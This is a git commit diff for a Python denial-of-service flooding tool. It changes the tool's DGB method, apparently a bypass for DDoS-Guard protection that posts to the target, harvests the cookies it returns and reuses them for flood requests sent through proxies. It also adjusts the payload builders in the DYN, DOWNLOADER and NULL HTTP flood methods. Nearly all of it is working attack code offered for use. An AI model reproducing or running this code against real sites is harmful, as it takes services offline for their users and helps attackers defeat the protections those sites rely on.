DGB Bypass Changed #231

This commit is contained in:
InvalidAccount69 2022-03-15 02:52:08 +03:30
parent c696ea8c35
commit 73e2243232

View File

@ -33,7 +33,7 @@ from dns import resolver
from icmplib import ping from icmplib import ping
from impacket.ImpactPacket import IP, TCP, UDP, Data from impacket.ImpactPacket import IP, TCP, UDP, Data
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
from requests import Response, Session, exceptions, get from requests import Response, Session, exceptions, get, cookies
from yarl import URL from yarl import URL
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s', basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
@ -777,7 +777,11 @@ class HttpFlood(Thread):
def DGB(self): def DGB(self):
global REQUESTS_SENT, BYTES_SEND global REQUESTS_SENT, BYTES_SEND
s = None s = None
with suppress(Exception), create_scraper() as s: with suppress(Exception), Session() as s:
with s.post(self._target.human_repr()) as ss:
ss.raise_for_status()
for key, value in ss.cookies.items():
s.cookies.set_cookie(cookies.create_cookie(key, value))
for _ in range(min(self._rpc, 5)): for _ in range(min(self._rpc, 5)):
sleep(min(self._rpc, 5) / 100) sleep(min(self._rpc, 5) / 100)
if self._proxies: if self._proxies:
@ -794,7 +798,7 @@ class HttpFlood(Thread):
Tools.safe_close(s) Tools.safe_close(s)
def DYN(self): def DYN(self):
payload: str | bytes = str.encode(self._payload + payload: Any = str.encode(self._payload +
"Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) + "Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) +
self.randHeadercontent + self.randHeadercontent +
"\r\n") "\r\n")
@ -805,7 +809,7 @@ class HttpFlood(Thread):
Tools.safe_close(s) Tools.safe_close(s)
def DOWNLOADER(self): def DOWNLOADER(self):
payload: str | bytes = self.generate_payload() payload: Any = self.generate_payload()
s = None s = None
with suppress(Exception), self.open_connection() as s: with suppress(Exception), self.open_connection() as s:
@ -863,7 +867,7 @@ class HttpFlood(Thread):
Tools.safe_close(s) Tools.safe_close(s)
def NULL(self) -> None: def NULL(self) -> None:
payload: str | bytes = str.encode(self._payload + payload: Any = str.encode(self._payload +
"Host: %s\r\n" % self._target.authority + "Host: %s\r\n" % self._target.authority +
"User-Agent: null\r\n" + "User-Agent: null\r\n" +
"Referrer: null\r\n" + "Referrer: null\r\n" +